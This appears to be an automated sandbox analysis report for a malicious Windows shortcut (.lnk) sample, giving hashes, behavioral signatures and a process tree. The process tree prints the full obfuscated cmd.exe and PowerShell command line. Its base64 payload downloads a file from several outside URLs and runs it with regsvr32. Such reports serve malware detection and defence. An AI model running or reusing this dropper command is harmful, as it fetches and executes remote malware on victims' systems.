Analysis
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max time kernel
16s -
max time network
17s -
platform
windows7_x64 -
resource
win7-20240729-en -
resource tags
arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system -
submitted
13-11-2024 09:51
Static task
static1
Behavioral task
behavioral1
Sample
f94bc7f15a9ba8e439f5adb517a60f66a976b9fc4743e83897ad7303a788f390.lnk
Resource
win7-20240729-en
Behavioral task
behavioral2
Sample
f94bc7f15a9ba8e439f5adb517a60f66a976b9fc4743e83897ad7303a788f390.lnk
Resource
win10v2004-20241007-en
General
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Target
f94bc7f15a9ba8e439f5adb517a60f66a976b9fc4743e83897ad7303a788f390.lnk
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Size
2KB
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MD5
7afdcca99d1eccd0dce36db46e742df5
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SHA1
00dddf927c115e7af0f0dea7e517eadecf1003b8
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SHA256
f94bc7f15a9ba8e439f5adb517a60f66a976b9fc4743e83897ad7303a788f390
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SHA512
1de6b03e738baa2b545dddceea6bb8209528fe45cf49c7e2805a4408f32b1cfcb5b99f1b9f6fd7f8bde388e19abad1d7dc55962088ac5bc493e7a3cd4590b373
Malware Config
Signatures
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An obfuscated cmd.exe command-line is typically used to evade detection. 1 IoCs
Processes:
cmd.exepid Process 2640 cmd.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Suspicious behavior: EnumeratesProcesses 1 IoCs
Processes:
powershell.exepid Process 2564 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid Process Token: SeDebugPrivilege 2564 powershell.exe -
Suspicious use of WriteProcessMemory 6 IoCs
Processes:
cmd.execmd.exedescription pid Process procid_target PID 1164 wrote to memory of 2640 1164 cmd.exe 30 PID 1164 wrote to memory of 2640 1164 cmd.exe 30 PID 1164 wrote to memory of 2640 1164 cmd.exe 30 PID 2640 wrote to memory of 2564 2640 cmd.exe 31 PID 2640 wrote to memory of 2564 2640 cmd.exe 31 PID 2640 wrote to memory of 2564 2640 cmd.exe 31
Processes
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C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\f94bc7f15a9ba8e439f5adb517a60f66a976b9fc4743e83897ad7303a788f390.lnk1⤵
- Suspicious use of WriteProcessMemory
PID:1164 -
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /v:on /c qNARm4qQrno5jsUx94Muu9UAGPhpu2QSUHvDdf3YtfTqGoAFH8dVSTB586lJusgfCxg3//HL||goto&p^o^w^e^r^s^h^e^l^l.e^x^e -c "&{$nJ='ICBXcml0ZS1Ib3N0ICJjSHRXTSI7JFByb2dyZXNzUHJlZmVyZW5jZT0iU2lsZW50bHlDb250aW51ZSI7JGxpbmtzPSgiaHR0cDovL21pbmthLmNvbS5teC90cmFuc2xhdGlvbnMvMzVJb29GLyIsImh0dHA6Ly9tbW10YWNvc3BkeC5jb20vVm0veXBkSzNMMXZZUlZKaHBOc0RUZDUvIiwiaHR0cDovL21vYXByaW50cy5jb20vUGprRy8iLCJodHRwOi8vbW9vcndvcmxkLmNvbS9hc3BuZXRfY2xpZW50L0pVSldULyIsImh0dHA6Ly9taW5pbWlpLmNvbS9fb2xkL1JSWHhTUllQRlNUZGhVLyIsImh0dHA6Ly9tb3JlbDIuZ290Y2hhaG9zdGluZy5jb20vd3AtYWRtaW4vR0N3d0JCLyIpOyR0PSJVTkdkSiI7JGQ9IiRlbnY6VE1QXC4uXCR0Ijtta2RpciAtZm9yY2UgJGQgfCBvdXQtbnVsbDtmb3JlYWNoICgkdSBpbiAkbGlua3MpIHt0cnkge0lXUiAkdSAtT3V0RmlsZSAkZFx2dmx4SGdvU05nLkxmWTtSZWdzdnIzMi5leGUgIiRkXHZ2bHhIZ29TTmcuTGZZIjticmVha30gY2F0Y2ggeyB9fQ==';$hl=[System.Convert]::FromBase64String($nJ);$TY=[System.Text.Encoding]::ASCII.GetString($hl); iex ($TY)}"2⤵
- An obfuscated cmd.exe command-line is typically used to evade detection.
- Suspicious use of WriteProcessMemory
PID:2640 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -c "&{$nJ='ICBXcml0ZS1Ib3N0ICJjSHRXTSI7JFByb2dyZXNzUHJlZmVyZW5jZT0iU2lsZW50bHlDb250aW51ZSI7JGxpbmtzPSgiaHR0cDovL21pbmthLmNvbS5teC90cmFuc2xhdGlvbnMvMzVJb29GLyIsImh0dHA6Ly9tbW10YWNvc3BkeC5jb20vVm0veXBkSzNMMXZZUlZKaHBOc0RUZDUvIiwiaHR0cDovL21vYXByaW50cy5jb20vUGprRy8iLCJodHRwOi8vbW9vcndvcmxkLmNvbS9hc3BuZXRfY2xpZW50L0pVSldULyIsImh0dHA6Ly9taW5pbWlpLmNvbS9fb2xkL1JSWHhTUllQRlNUZGhVLyIsImh0dHA6Ly9tb3JlbDIuZ290Y2hhaG9zdGluZy5jb20vd3AtYWRtaW4vR0N3d0JCLyIpOyR0PSJVTkdkSiI7JGQ9IiRlbnY6VE1QXC4uXCR0Ijtta2RpciAtZm9yY2UgJGQgfCBvdXQtbnVsbDtmb3JlYWNoICgkdSBpbiAkbGlua3MpIHt0cnkge0lXUiAkdSAtT3V0RmlsZSAkZFx2dmx4SGdvU05nLkxmWTtSZWdzdnIzMi5leGUgIiRkXHZ2bHhIZ29TTmcuTGZZIjticmVha30gY2F0Y2ggeyB9fQ==';$hl=[System.Convert]::FromBase64String($nJ);$TY=[System.Text.Encoding]::ASCII.GetString($hl); iex ($TY)}"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2564
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